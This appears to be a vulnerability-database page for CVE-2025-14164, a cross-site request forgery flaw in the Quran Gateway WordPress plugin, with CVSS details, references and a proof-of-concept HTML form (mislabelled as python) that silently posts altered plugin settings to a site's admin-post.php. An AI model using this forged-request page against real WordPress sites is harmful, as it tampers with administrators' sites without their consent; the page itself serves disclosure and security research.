CVE-2025-14164

Description

The Quran Gateway plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.5. This is due to missing nonce validation in the quran_gateway_options function. This makes it possible for unauthenticated attackers to modify the plugin's display settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Quran Gateway plugin for WordPress <= 1.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-14164 -->
<!-- This PoC demonstrates how an attacker can forge a request to modify -->
<!-- the Quran Gateway plugin settings without proper nonce validation -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF PoC - CVE-2025-14164</title>
</head>
<body>
    <h1>CVE-2025-14164 CSRF Attack Demo</h1>
    <p>Click the button below to execute the CSRF attack.</p>
    
    <form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrf-form">
        <!-- WordPress admin action for plugin settings -->
        <input type="hidden" name="action" value="quran_gateway_options">
        <!-- Malicious configuration parameters -->
        <input type="hidden" name="quran_display_language" value="malicious_value">
        <input type="hidden" name="quran_layout_style" value="injected_style">
        <input type="hidden" name="quran_cache_enabled" value="0">
        <!-- Additional malicious settings can be added here -->
    </form>
    
    <button type="submit" onclick="document.getElementById('csrf-form').submit();">Execute Attack</button>
    
    <script>
        // Auto-submit form when page loads (for demonstration)
        // document.getElementById('csrf-form').submit();
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14164
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14164
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14164/
[4] VulDB https://vuldb.com/cve/CVE-2025-14164
[5] https://plugins.trac.wordpress.org/browser/quran-gateway/tags/1.5/admin.php#L457
[6] https://plugins.trac.wordpress.org/browser/quran-gateway/trunk/admin.php#L457
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/3e16da38-709a-4b9a-9f00-efe8459a1318?source=cve

Raw JSON Data

JSON

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